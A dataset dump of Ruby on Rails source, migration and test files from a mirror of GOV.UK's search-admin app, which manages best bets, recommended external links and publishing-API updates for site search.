repo_name
stringlengths
6
97
path
stringlengths
3
341
text
stringlengths
8
1.02M
uk-gov-mirror/alphagov.search-admin
db/migrate/20200225114743_add_created_at_to_bet.rb
class AddCreatedAtToBet < ActiveRecord::Migration[6.0] def change add_column :bets, :created_at, :datetime Bet.reset_column_information Bet.all.each do |b| b.update!(created_at: b.set_created_at) end end end
uk-gov-mirror/alphagov.search-admin
app/services/external_content_publisher.rb
class ExternalContentPublisher def self.publish(recommended_link) payload = ExternalContentPresenter.new(recommended_link) .present_for_publishing_api Services.publishing_api.put_content(recommended_link.content_id, payload) Services.publishing_api.publish(recommended_link.content_id) end def self.unpublish(recommended_link) Services.publishing_api.unpublish(recommended_link.content_id, type: "gone") end end
uk-gov-mirror/alphagov.search-admin
spec/controllers/recommended_links_controller_spec.rb
<gh_stars>1-10 require "spec_helper" describe RecommendedLinksController do let(:recommended_link_params) do { title: "Tax", link: "https://www.tax.service.gov.uk/", description: "Self assessment", keywords: "self, assessment, tax", } end before(:each) do stub_request(:put, /publishing-api\.test\.gov\.uk\/v2\/content\//).to_return(status: 200) stub_request(:post, /publishing-api\.test\.gov\.uk\/v2\/content\//).to_return(status: 200) end RSpec::Matchers.define :expected_link do |link| match { |recommended_link| recommended_link.link == link } end describe "#create" do context "on failure" do it "alerts the user" do post :create, params: { recommended_link: recommended_link_params.merge(title: nil) } expect(flash[:alert]).to include("could not create") end it "renders the new action" do post :create, params: { recommended_link: recommended_link_params.merge(title: nil) } expect(response).to render_template("new") end end context "on success" do it "sends the link to the publishing API" do expect(ExternalContentPublisher).to receive(:publish).with( expected_link(recommended_link_params[:link]), ) post :create, params: { recommended_link: recommended_link_params } end it "notifies the user" do post :create, params: { recommended_link: recommended_link_params } expect(flash[:notice]).to include("was created") end it "redirects to the recommended link" do post :create, params: { recommended_link: recommended_link_params } expect(response).to redirect_to(recommended_link_path(RecommendedLink.last)) end end it "displays an error if the recommended link is duplicated" do create(:recommended_link, recommended_link_params) post :create, params: { recommended_link: recommended_link_params } expect(flash[:alert]).to include("could not create") end end describe "#update" do let(:recommended_link) { create(:recommended_link) } def update_recommended_link(options = {}) put :update, params: { id: recommended_link.id, recommended_link: recommended_link_params.merge(options) } end context "on failure" do it "alerts the user" do update_recommended_link(title: nil) expect(flash[:alert]).to include("could not update") end it "renders the edit action" do update_recommended_link(title: nil) expect(response).to render_template("edit") end end context "on success" do it "notifies the user" do update_recommended_link expect(flash[:notice]).to include("was updated") end it "redirects to the recommended link" do update_recommended_link expect(response).to redirect_to(recommended_link_path(RecommendedLink.last)) end it "updates the link in the publishing API" do new_link = "http://new-link.com" expect(ExternalContentPublisher).to receive(:publish).with( expected_link(new_link), ) update_recommended_link(link: new_link) recommended_link.reload expect(recommended_link.link).to eq(new_link) end end end describe "#destroy" do let(:recommended_link) { create(:recommended_link) } def delete_recommended_link delete :destroy, params: { id: recommended_link.id } end context "on failure" do before do mock_recommended_link = double(:recommended_link, id: recommended_link.id, destroy: false) allow(RecommendedLink).to receive(:find).with(recommended_link.id.to_s).and_return(mock_recommended_link) end it "alerts the user" do delete_recommended_link expect(flash[:alert]).to include("could not delete") end end context "on success" do it "notifies the user" do delete_recommended_link expect(flash[:notice]).to include("was deleted") end it "redirects to the recommended link index" do delete_recommended_link expect(response).to redirect_to(recommended_links_path) end it "unpublishes the link in the publishing API" do expect(ExternalContentPublisher).to receive(:unpublish).with( expected_link(recommended_link_params[:link]), ) delete_recommended_link end end end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20200225114827_add_expiration_date_to_bet.rb
<reponame>uk-gov-mirror/alphagov.search-admin<gh_stars>1-10 class AddExpirationDateToBet < ActiveRecord::Migration[6.0] def change add_column :bets, :expiration_date, :datetime end end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/update_publishing_api_on_recommended_link_change_steps.rb
<filename>features/step_definitions/update_publishing_api_on_recommended_link_change_steps.rb Then(/^the external link should have been published$/) do check_recommended_link_was_published(RecommendedLink.last, 1) end Then(/^the external link should have been republished$/) do check_recommended_link_was_published(RecommendedLink.last, 2) end Then(/^the external link should have been unpublished$/) do check_recommended_link_was_unpublished(@recommended_link_content_id) end
uk-gov-mirror/alphagov.search-admin
spec/models/query_spec.rb
require "spec_helper" describe Query do describe "#is_query?" do it "should return true" do query = create(:query) expect(query.is_query?).to eq true end end describe "#query_object" do it "should return itself" do query = create(:query) expect(query.query_object).to eq query end end describe "#sorted_best_bets" do it "sorts the best bets by position" do query = create(:query) create(:bet, query: query, position: 3) create(:bet, query: query, position: 1) create(:bet, query: query, position: 2) list = query.sorted_best_bets expect(list.map(&:position)).to eql [1, 2, 3] end end end describe Query, "associations" do it "should destroy associated bets on #destroy" do query = create :query bets = query.bets query.destroy! expect(bets).to eq [] end end describe Query, "validations" do it "is invalid without a query attribute" do attributes = attributes_for(:query, query: nil) expect(new_query_with(attributes)).not_to be_valid end it "is invalid with a duplicate query/match_type" do create(:query, query: "jobs", match_type: "exact") bet = new_query_with(query: "jobs", match_type: "exact") expect(bet).to_not be_valid end it "validates inclusion of match_types in Query::MATCH_TYPES" do attributes = attributes_for(:query, match_type: "not like the others") expect(new_query_with(attributes)).not_to be_valid end it "is valid with a match_type of 'exact'" do attributes = attributes_for(:query, match_type: "exact") expect(new_query_with(attributes)).to be_valid end it "is valid with a match_type of 'stemmed'" do attributes = attributes_for(:query, match_type: "stemmed") expect(new_query_with(attributes)).to be_valid end end def new_query_with(attributes) Query.new(attributes) end
uk-gov-mirror/alphagov.search-admin
app/generators/elastic_search_bet_id_generator.rb
<gh_stars>1-10 class ElasticSearchBetIDGenerator def self.generate(query, match_type) "#{query}-#{match_type}" end end
uk-gov-mirror/alphagov.search-admin
spec/factories.rb
<gh_stars>1-10 FactoryBot.define do sequence :numeric_position do |n| n end factory :bet do link { "/death-and-taxes" } expiration_date { Time.zone.now + 1.day } trait(:worst) do is_best { false } end trait(:best) do is_best { true } position { generate :numeric_position } end trait(:permanent) do permanent { true } end user end factory :query do query { "tax" } match_type { "exact" } trait :with_best_bet do after(:create) do |query| create(:bet, :best, query: query) end end end factory :recommended_link do title { "Tax online" } link { "https://www.tax.service.gov.uk/" } description { "File your self assessment online." } keywords { "tax, self assessment, hmrc" } content_id { SecureRandom.uuid } end factory :user do factory :admin_user do permissions { %w[admin] } end permissions { %w[signin] } end end
uk-gov-mirror/alphagov.search-admin
config/routes.rb
Rails.application.routes.draw do get "/healthcheck/live", to: proc { [200, {}, %w[OK]] } get "/healthcheck/ready", to: GovukHealthcheck.rack_response( GovukHealthcheck::ActiveRecord, ) resources :bets, except: %i[index show] do member do post :deactivate end end resources :queries resources :recommended_links, path: "/recommended-links" resources :results, only: %i[index show destroy] resources( :similar_search_results, only: %i[new show], path: "similar-search-results", ) root "queries#index" mount GovukAdminTemplate::Engine, at: "/style-guide" end
uk-gov-mirror/alphagov.search-admin
app/lib/services.rb
require "gds_api/search" require "gds_api/publishing_api" module Services def self.publishing_api @publishing_api ||= GdsApi::PublishingApi.new( Plek.find("publishing-api"), bearer_token: ENV["PUBLISHING_API_BEARER_TOKEN"] || "example", ) end # TODO: update RUMMAGER_BEARER_TOKEN to SEARCH_API_BEARER_TOKEN def self.search_api @search_api ||= GdsApi::Search.new( Plek.current.find("search"), api_version: "V2", bearer_token: ENV["RUMMAGER_BEARER_TOKEN"] || "example", ) end end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/best_bet_csv_steps.rb
<filename>features/step_definitions/best_bet_csv_steps.rb<gh_stars>1-10 When(/^I view the best bets CSV$/) do visit queries_path click_on "Download CSV" end Then(/^I should see all best bets listed in the CSV$/) do check_for_queries_in_csv_format(@queries) end
uk-gov-mirror/alphagov.search-admin
app/helpers/tag_helper.rb
<filename>app/helpers/tag_helper.rb module TagHelper # Set the page <title> and return the <h1> tag. def page_title(string) content_for :page_title, "#{string} - Search Admin" tag.h1 string, class: "page-title-with-border" end end
uk-gov-mirror/alphagov.search-admin
app/presenters/external_content_presenter.rb
<reponame>uk-gov-mirror/alphagov.search-admin class ExternalContentPresenter def initialize(recommended_link) @recommended_link = recommended_link end def present_for_publishing_api { description: @recommended_link.description, details: { hidden_search_terms: hidden_search_terms, url: @recommended_link.link, }, document_type: "external_content", publishing_app: "search-admin", schema_name: "external_content", title: @recommended_link.title, update_type: "minor", } end private def hidden_search_terms [@recommended_link.keywords].compact end end
uk-gov-mirror/alphagov.search-admin
app/controllers/similar_search_results_controller.rb
class SimilarSearchResultsController < ApplicationController def new render :new, locals: default_locals end def show base_path = params[:base_path] render :show, locals: { base_path: base_path, results: MoreLikeThis.from_base_path(base_path), } rescue MoreLikeThis::NotFoundInSearch render_with_error("Content item not found for #{base_path}") rescue MoreLikeThis::NotTaggedToATaxon render_with_error("The page #{base_path} isn't tagged to a taxon") rescue MoreLikeThis::NoSearchResults render_with_error("No search results found for #{base_path}") end private def render_with_error(message) flash.now[:error] = message render( :new, locals: default_locals, ) end def default_locals { base_path: params[:base_path], results: [], } end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20140501121311_create_best_bets.rb
<gh_stars>1-10 class CreateBestBets < ActiveRecord::Migration def change create_table :best_bets do |t| t.string :query t.string :match_type t.string :link t.integer :position t.string :comment t.string :source end end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20161111124510_change_recommended_link_types.rb
class ChangeRecommendedLinkTypes < ActiveRecord::Migration def change change_column :recommended_links, :description, :text change_column :recommended_links, :keywords, :text end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20140508123717_add_combo_index_to_best_bets.rb
<filename>db/migrate/20140508123717_add_combo_index_to_best_bets.rb class AddComboIndexToBestBets < ActiveRecord::Migration def change add_index "best_bets", %w(query match_type), name: "query_match_type_index" end end
uk-gov-mirror/alphagov.search-admin
config/initializers/zeitwerk.rb
Rails.autoloaders.each do |autoloader| autoloader.inflector.inflect( "elastic_search_bet_id_generator" => "ElasticSearchBetIDGenerator", ) end
uk-gov-mirror/alphagov.search-admin
app/models/elastic_search_bet.rb
<gh_stars>1-10 class ElasticSearchBet def initialize(query) @query = query end def header { index: { _id: id, _type: type, }, } end def body { query_field => query_string, details: details.to_json, } end def id ElasticSearchBetIDGenerator.generate(query_string, match_type) end def type "best_bet" end private def query_field "#{match_type}_query".to_sym end def query_string @query.query end def match_type @query.match_type end def details { best_bets: best_bets.map { |bet| { link: bet.link, position: bet.position } }, worst_bets: worst_bets.map { |bet| { link: bet.link } }, } end def best_bets @query.best_bets.select(&:active?).sort_by { |b| [b.position, b.link] } end def worst_bets @query.worst_bets.select(&:active?).sort_by(&:link) end end
uk-gov-mirror/alphagov.search-admin
app/models/query.rb
class Query < ApplicationRecord MATCH_TYPES = %w[exact stemmed].freeze validates :query, presence: true validates :match_type, inclusion: { in: MATCH_TYPES } validates :query, uniqueness: { scope: :match_type, case_sensitive: true } has_many :bets, dependent: :destroy has_many :best_bets, -> { best }, class_name: "Bet", inverse_of: :query has_many :worst_bets, -> { worst }, class_name: "Bet", inverse_of: :query # Use `sort_by` to prevent N+1 queries when Queries are loaded in a list. def sorted_best_bets best_bets.sort_by(&:position) end def display_name "#{query} (#{match_type})" end def is_query? true end def query_object self end def self.to_csv(*_args) CSV.generate do |csv| csv << ["query", "match_type", "link", "best/worst", "comment"] all.includes(:bets).find_each do |query| query.bets.each do |bet| csv << [query.query, query.match_type, bet.link, bet.is_best ? "best" : "worst", bet.comment.to_s] end end end end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20140604154436_add_query_id_to_bets.rb
class AddQueryIdToBets < ActiveRecord::Migration def change add_column :bets, :query_id, :integer add_column :bets, :is_best, :boolean, default: true Bet.all.each do |bet| query = Query.where(query: bet['query'], match_type: bet['match_type']).first query ||= Query.create!(query: bet['query'], match_type: bet['match_type']) bet.update(is_best: bet.position.present?, query_id: query.id) end remove_column :bets, :query, :string remove_column :bets, :match_type, :string end end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/managing_results_steps.rb
<gh_stars>0 When(/^I visit the results form$/) do visit root_path click_on "Search results" end When(/^I type in a valid GOV.UK link$/) do stub_request(:get, "https://search.test.gov.uk/content?link=/make-a-sorn") .to_return(body: { "raw_source" => { "title" => "Stubbed page about SORN" } }.to_json) fill_in "base_path", with: "/make-a-sorn" click_on "Show search result" end Then(/^I should see all information about the link$/) do expect(page).to have_content "Stubbed page about SORN" end When(/^I click on the button to remove the result$/) do stub_request(:delete, "https://search.test.gov.uk/content?link=/make-a-sorn") stub_request(:get, "https://search.test.gov.uk/content?link=/make-a-sorn") .to_return(status: 404) click_on "Remove result" end Then(/^the result should have been removed from the index$/) do expect(page).to have_content "That URL wasn't found." end When(/^I type in an non\-existing GOV\.UK link$/) do stub_request(:get, "https://search.test.gov.uk/content?link=/does-not-exist") .to_return(status: 404) fill_in "base_path", with: "/does-not-exist" click_on "Show search result" end Then(/^I should see that the link is invalid$/) do expect(page).to have_content "That URL wasn't found." end When(/^I type in a locked GOV.UK link$/) do stub_request(:get, "https://search.test.gov.uk/content?link=/a-locked-document") .to_return(body: { "raw_source" => { "title" => "Stubbed page about SORN" } }.to_json) fill_in "base_path", with: "/a-locked-document" click_on "Show search result" end When(/^I click on the button to remove the locked result$/) do stub_request(:delete, "https://search.test.gov.uk/content?link=/a-locked-document") .to_return(status: 423, body: { "result" => "Index is locked." }.to_json) click_on "Remove result" end Then(/^I should see a message with locking error$/) do expect(page).to have_content "Index is locked." end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/best_bet_steps.rb
Given(/^I am an admin user$/) do login_as(:admin_user) end Given(/^I am a basic user$/) do login_as(:user) end When(/^I create a best bet$/) do create_query(query: "some jobs", match_type: "exact", bets: [["/jobsearch", true, 1, "a comment"]]) end When(/^I create a best bet with invalid attributes$/) do create_query(query: "some jobs", match_type: "exact", bets: [["", true, 1, "a comment"]]) end When(/^I create a best bet as an admin$/) do create_query(user: :admin, query: "some jobs", match_type: "exact", bets: [["/jobsearch", true, 1, "a comment", 1]]) end When(/^I create a worst bet for a query$/) do create_query(query: "worst-bet", match_type: "exact", bets: [["/worst-bet", false, nil, "a comment"]]) end When(/^I create a worst bet for a query as an admin$/) do create_query(user: :admin, query: "worst-bet", match_type: "exact", bets: [["/worst-bet", false, nil, "a comment", 1]]) end When(/^I create several exact best bets for the same query$/) do create_query(query: "jobs", match_type: "exact", bets: [["/jobsearch", true, 1], ["/policy-areas/employment", true, 2]]) end Then(/^the query should be listed on the index page$/) do check_for_query_on_index_page( query: "some jobs", match_type: "exact", ) end Then(/^the best bet should be listed on the query page$/) do check_for_bet_on_query_page( is_best: true, link: "/jobsearch", match_type: "exact", position: 1, query: "some jobs", ) end Given(/^a query exists$/) do @query = create(:query, :with_best_bet) @query.bets.each { |b| b.update(link: "/jobsearch") } end Given(/^there are some best bets$/) do @queries = (1..3).map do |n| create(:query, query: "jobs-#{n}") end end Given(/^a variety of best bets exist$/) do jobs_query = create(:query, query: "jobs", match_type: "exact") create(:bet, :best, query: jobs_query, link: "/jobs-1", position: 1) create(:bet, :best, query: jobs_query, link: "/jobs-2", position: 2) visas_query = create(:query, query: "visas", match_type: "exact") create(:bet, :worst, query: visas_query, link: "/a-bad-visas-page") end Given(/^a query with a worst bet exists$/) do query = create(:query, :with_best_bet, query: "worst-bet", match_type: "exact") create(:bet, :worst, query: query, link: "/worst-bet", position: nil, comment: "a comment") end When(/^I edit a best bet as an admin$/) do edit_best_bet(bet: @query.best_bets.first, link: "/job-policy", permanent: true) end When(/^I edit a best bet$/) do edit_best_bet(bet: @query.best_bets.first, link: "/job-policy") end Then(/^the edited best bet should be listed on the query page$/) do bet = @query.best_bets.first check_for_bet_on_query_page( link: "job-policy", is_best: bet.is_best?, position: bet.position, query: @query.query, match_type: @query.match_type, ) end When(/^I delete the first best bet$/) do @bet = @query.best_bets.first delete_best_bet(@query, @bet) end When(/^I delete one of the best bets$/) do @query = Query.last delete_best_bet(@query, @query.best_bets.first) end When(/^I delete all the best bets$/) do @query_es_ids = [] Query.all.each do |query| @query_es_ids << "#{query.query}-#{query.match_type}" query.bets.each do |bet| delete_best_bet(query, bet) end end end Then(/^the best bet should not be listed on the query page$/) do check_absence_of_best_bet_on_query_page(@query, @bet.link) end Then(/^the worst bet should be listed on the query page$/) do check_for_bet_on_query_page( is_best: false, link: "/worst-bet", match_type: "exact", position: nil, query: "worst-bet", ) end Then("I should be a notified of the error") do expect(page).to have_content(/Error (creating|updating|deleting) (bet|query)/) end Then("the query should still be listed on the query index") do expect(Query.all).not_to be_empty end Then("the query should still be listed on the query index with best bet") do expect(Query.all).not_to be_empty expect(Query.first.best_bets).not_to be_empty end When("I delete the last bet") do @query = Query.last delete_best_bet(@query, @query.best_bets.first) end Then("no query should be listed on the query index") do expect(Query.count).to eq(1) expect(Bet.all).to be_empty end
uk-gov-mirror/alphagov.search-admin
app/mailers/bets_mailer.rb
class BetsMailer < ApplicationMailer def expiring_bets_list(address, bets) return if bets.empty? @when = bets.first.expiration_date @grouped_bets = bets.each_with_object({}) do |bet, grouped| grouped[bet.query.display_name] ||= [] grouped[bet.query.display_name] << bet.link end view_mail( template_id, to: address, subject: "Best and worst bets expiring on #{@when.strftime('%d %b %Y')}", ) end end
uk-gov-mirror/alphagov.search-admin
db/schema.rb
<filename>db/schema.rb # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # This file is the source Rails uses to define your schema when running `rails # db:schema:load`. When creating a new database, `rails db:schema:load` tends to # be faster and is potentially less error prone than running all of your # migrations from scratch. Old migrations may fail to apply correctly if those # migrations use external dependencies or application code. # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 2020_04_06_141157) do create_table "bets", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t| t.string "link" t.integer "position", default: 1 t.text "comment" t.boolean "manual", default: false t.integer "query_id" t.boolean "is_best", default: true t.integer "user_id" t.datetime "created_at" t.datetime "expiration_date" t.boolean "permanent", default: false t.datetime "updated_at" end create_table "queries", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t| t.string "query" t.string "match_type" t.datetime "created_at" t.datetime "updated_at" t.index ["query", "match_type"], name: "index_queries_on_query_and_match_type", unique: true end create_table "recommended_links", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t| t.string "title" t.string "link" t.text "description" t.text "keywords" t.text "comment" t.integer "user_id" t.string "content_id", limit: 36 t.index ["content_id"], name: "index_recommended_links_on_content_id", unique: true t.index ["link"], name: "index_recommended_links_on_link", unique: true end create_table "users", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t| t.string "name" t.string "email" t.string "uid" t.string "organisation_slug" t.string "permissions" t.boolean "remotely_signed_out", default: false t.boolean "disabled", default: false t.string "organisation_content_id" end end
uk-gov-mirror/alphagov.search-admin
app/validators/url_validator.rb
require "uri" class UrlValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) uri = parse(value) unless uri&.host msg = options[:message] || (uri ? "does not have a valid host" : "is an invalid URL") record.errors[attribute] << msg end end private def parse(value) uri = URI.parse(value) uri.is_a?(URI::HTTP) ? uri : nil rescue URI::InvalidURIError nil end end
uk-gov-mirror/alphagov.search-admin
lib/tasks/reindex_best_bets.rake
desc "Resend all local queries to search_api to be reindexed" task reindex_best_bets: :environment do message = <<-MSG Rebuilding the elasticsearch index will just resend all locally stored best bets across to be inserted in to elasticsearch. This means that any orphaned entries in the elasticsearch index would still exist. This can be avoided by running the below rake task on Search-api before rebuilding the index. bundle exec rake search:switch_to_empty_index SEARCH_INDEX=metasearch MSG puts message puts "Starting to reindex #{Query.count} best bets in search_api" start = Time.zone.now.to_f Query.all.each do |query| puts "Processing: #{query.query} (#{query.match_type})" SearchApiSaver.new(query).save # rubocop:disable Rails/SaveBang end puts "Finished reindexing best bets in search_api (#{(Time.zone.now.to_f - start).round(2)} sec)" end
uk-gov-mirror/alphagov.search-admin
features/step_definitions/query_steps.rb
<gh_stars>1-10 When(/^I create a new query$/) do create_query(query: "jobs", match_type: "exact") end Then(/^the query should be listed on the query index$/) do check_for_query_on_index_page(query: "jobs", match_type: "exact") end When(/^I edit the query$/) do edit_query(query_text: @query.query, new_query_text: "visas") end Then(/^the edited query should be listed on the query index$/) do check_for_query_on_index_page(query: "visas", match_type: @query.match_type) end When(/^I delete the query$/) do delete_query(query_text: @query.query) end Then(/^the query should not be listed on the query index$/) do check_for_absence_of_query_on_index_page(query: @query.query, match_type: @query.match_type) end When(/^I visit the query$/) do visit query_path(@query || Query.last) end Then(/^I should see the queries search results on the page$/) do expect(page).to have_selector("iframe") expect(find("iframe")[:src]).to include "gov.uk/search/all?keywords=jobs" end
uk-gov-mirror/alphagov.search-admin
spec/generators/elastic_search_bet_id_generator_spec.rb
require "spec_helper" describe ElasticSearchBetIDGenerator do describe ".generate(query, match_type)" do it "concatenates the `query` and `match_type` with a hyphen" do generated_id = ElasticSearchBetIDGenerator.generate("jobs", "exact") expect(generated_id).to eq("jobs-exact") end end end
uk-gov-mirror/alphagov.search-admin
spec/models/elastic_search_bet_spec.rb
<reponame>uk-gov-mirror/alphagov.search-admin require "spec_helper" describe ElasticSearchBet do let(:query) { create(:query, query: "jobs", match_type: "exact") } before do create(:bet, :best, link: "/jobs/inactive-jobs", position: 3, query: query, permanent: true, expiration_date: nil).deactivate create(:bet, :best, link: "/jobs/more-jobs", position: 2, query: query) create(:bet, :best, link: "/jobsearch", position: 1, query: query) create(:bet, :worst, link: "/topics/employment", query: query) create(:bet, :worst, link: "/people/steve-jobs", query: query) end it "builds an elasticsearch doc from the provided best bets" do es_bet = ElasticSearchBet.new(query) expect(es_bet.body).to eq( exact_query: "jobs", details: { best_bets: [ { link: "/jobsearch", position: 1 }, { link: "/jobs/more-jobs", position: 2 }, ], worst_bets: [ { link: "/people/steve-jobs" }, { link: "/topics/employment" }, ], }.to_json, ) end end
uk-gov-mirror/alphagov.search-admin
spec/services/external_content_publisher_spec.rb
<filename>spec/services/external_content_publisher_spec.rb<gh_stars>1-10 require "spec_helper" RSpec.describe ExternalContentPublisher do let(:link) do RecommendedLink.new( content_id: "some-content-id", description: "Public data to help people understand how the government works", link: "http://www.data.gov.uk/", title: "Data.gov.uk", ) end context "publishing" do it "saves and publishes a recommended link to the publishing API" do expect(Services.publishing_api).to receive(:put_content) do |content_id, payload| expect(content_id).to eq("some-content-id") expect(payload[:details][:url]).to eq("http://www.data.gov.uk/") end expect(Services.publishing_api).to receive(:publish).with("some-content-id") ExternalContentPublisher.publish(link) end it "raises an error if saving the link fails" do stub_request(:put, "https://publishing-api.test.gov.uk/v2/content/some-content-id").to_return(status: 400) expect { ExternalContentPublisher.publish(link) }.to raise_error(GdsApi::HTTPErrorResponse) end it "raises an error if publishing fails" do stub_request(:put, "https://publishing-api.test.gov.uk/v2/content/some-content-id").to_return(status: 200) stub_request(:post, "https://publishing-api.test.gov.uk/v2/content/some-content-id/publish").to_return(status: 500) expect { ExternalContentPublisher.publish(link) }.to raise_error(GdsApi::HTTPErrorResponse) end end context "unpublishing" do it "unpublishes a recommended link in the publishing API" do expect(Services.publishing_api).to receive(:unpublish).with("some-content-id", type: "gone") ExternalContentPublisher.unpublish(link) end it "raises an error if unpublishing fails" do stub_request(:post, "https://publishing-api.test.gov.uk/v2/content/some-content-id/unpublish").to_return(status: 404) expect { ExternalContentPublisher.unpublish(link) }.to raise_error(GdsApi::HTTPErrorResponse) end end end
uk-gov-mirror/alphagov.search-admin
spec/mailers/bets_mailer_spec.rb
require "spec_helper" describe BetsMailer, type: :mailer do describe "expiring_bets_list" do let(:address) { "<EMAIL>" } let(:expires) { Time.zone.now } let(:bets) do test_stemmed = create(:query, query: "test", match_type: "stemmed") test_exact = create(:query, query: "test", match_type: "exact") bread_exact = create(:query, query: "bread", match_type: "exact") bet1 = create(:bet, query: test_stemmed, position: 2, link: "/foo", expiration_date: expires) bet2 = create(:bet, query: test_stemmed, position: 1, link: "/bar", expiration_date: expires) bet3 = create(:bet, query: test_exact, position: 1, link: "/baz", expiration_date: expires) bet4 = create(:bet, query: bread_exact, position: 1, link: "/bat", expiration_date: expires) [bet1, bet4, bet3, bet2] end let(:mail) { described_class.expiring_bets_list(address, bets) } it "renders the headers" do expect(mail.subject).to eq("Best and worst bets expiring on #{expires.strftime('%d %b %Y')}") expect(mail.to).to eq([address]) expect(mail.from).to eq(["<EMAIL>"]) end it "renders the body" do puts mail.body.encoded expect(mail.body.encoded).to include("The following best and worst bets expire on #{expires.strftime('%d %b %Y')}.") bets.each do |bet| expect(mail.body.encoded).to include("- #{bet.query.display_name}: #{bet.link}") end end end end
uk-gov-mirror/alphagov.search-admin
spec/models/elastic_search_recommended_link_spec.rb
<gh_stars>1-10 require "spec_helper" describe ElasticSearchRecommendedLink do let(:recommended_link) do create( :recommended_link, title: "Tax", link: "https://www.tax.service.gov.uk/", description: "Self assessment", keywords: "self, assessment, tax", content_id: SecureRandom.uuid, ) end it "builds an elasticsearch doc from the provided recommended link" do es_recommended_link = ElasticSearchRecommendedLink.new(recommended_link) expect(es_recommended_link.body).to eq( link: "https://www.tax.service.gov.uk/", details: { title: "Tax", link: "https://www.tax.service.gov.uk/", description: "Self assessment", format: "recommended-link", indexable_content: "self, assessment, tax", }.to_json, ) end end
uk-gov-mirror/alphagov.search-admin
app/controllers/queries_controller.rb
class QueriesController < ApplicationController def index @queries = Query.includes(:best_bets, :worst_bets).order(%i[query match_type]) respond_to do |format| format.html format.csv { send_data @queries.to_csv } end end def new; end def create query = Query.new(query_params) saver = SearchApiSaver.new(query) if saver.save redirect_to query_path(query), notice: "Your query was created successfully" else existing_query = check_for_duplicate_query(query) if existing_query redirect_to query_path(existing_query), notice: "Query already exists" else flash[:alert] = "Error creating query" render :new end end end def show @new_bet = Bet.new @query = find_query @search_url = SearchUrl.for(@query.query) end def edit @query = find_query end def update query = find_query saver = SearchApiSaver.new(query) if saver.update(query_params) redirect_to query_path(query), notice: "Your query was updated successfully" else flash[:alert] = "Error updating query" render :edit end end def destroy query = find_query saver = SearchApiSaver.new(query) if saver.destroy(action: :delete) redirect_to queries_path, notice: "Your query was deleted successfully" else redirect_to query_path(query), alert: "Error deleting query" end end private def find_query @find_query ||= Query.find(params[:id]) end def query_params qp = params.require(:query).permit(:query, :match_type) qp[:query] = qp[:query].downcase qp end def check_for_duplicate_query(query) if query.errors.include?(:query) Query.where(query: query.query, match_type: query.match_type).first end end end
uk-gov-mirror/alphagov.search-admin
spec/helpers/table_for_spec.rb
require "spec_helper" describe TableHelper do describe "#table_for" do it "generates a table for a hash" do hash = { a: "b", c: "d" } table = helper.table_for(hash) expect(table).to eql( '<table class="table key-value-table"><tr><td>a</td><td>b</td></tr><tr><td>c</td><td>d</td></tr></table>', ) end it "generates a table-inside-a-table for a nested hash" do hash = { a: "b", c: { d: "e" } } table = helper.table_for(hash) expect(table).to include( '<table class="table key-value-table"><tr><td>d</td><td>e</td></tr></table>', ) end it "generates a list for an array value" do hash = { a: %w[b c d] } table = helper.table_for(hash) expect(table).to include( "<ul><li>b</li><li>c</li><li>d</li></ul>", ) end end end
uk-gov-mirror/alphagov.search-admin
app/helpers/application_helper.rb
module ApplicationHelper def navigation_items return [] unless current_user items = [ { text: "Queries", href: queries_path, active: is_current?(queries_path), }, { text: "External links", href: recommended_links_path, active: is_current?(recommended_links_path), }, { text: "Search results", href: results_path, active: is_current?(results_path), }, { text: "Similar search results", href: new_similar_search_result_path, active: is_current?(new_similar_search_result_path), }, { text: current_user.name, href: Plek.new.external_url_for("signon"), }, { text: "Sign out", href: "/auth/gds/sign_out", }, ] items end def is_current?(link) recognized = Rails.application.routes.recognize_path(link) recognized[:controller] == params[:controller] && recognized[:action] == params[:action] end end
uk-gov-mirror/alphagov.search-admin
app/helpers/table_helper.rb
<reponame>uk-gov-mirror/alphagov.search-admin<filename>app/helpers/table_helper.rb<gh_stars>1-10 module TableHelper def table_for(hash) tag.table class: "table key-value-table" do rows = hash.map do |k, v| tag.tr do tag.td(k) + tag.td(display_value(v)) end end rows.join.html_safe end end def display_value(value) if value.is_a?(Hash) table_for(value) elsif value.is_a?(Array) tag.ul do value.map { |ae| tag.li display_value(ae) }.join.html_safe end elsif value.blank? "<em>empty</em>".html_safe else value end end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20140502085848_add_user_id_to_best_bet.rb
class AddUserIdToBestBet < ActiveRecord::Migration def change remove_column :best_bets, :source add_column :best_bets, :user_id, :integer add_column :best_bets, :manual, :boolean, default: false end end
uk-gov-mirror/alphagov.search-admin
app/workers/expired_bet_worker.rb
class ExpiredBetWorker include Sidekiq::Worker def perform recently_expired_bets.find_each do |bet| SearchApiSaver.new(bet).destroy(action: :deactivate) end end private # job runs every hour but checks for bets which expired in the last # 90 minutes - this is to reduce the chance of something being # missed due to jitter in job start time. def recently_expired_bets Bet.impermanent.where( "expiration_date IS NOT NULL AND expiration_date >= ? AND expiration_date <= ?", 90.minutes.ago, Time.zone.now, ) end end
uk-gov-mirror/alphagov.search-admin
spec/controllers/bets_controller_spec.rb
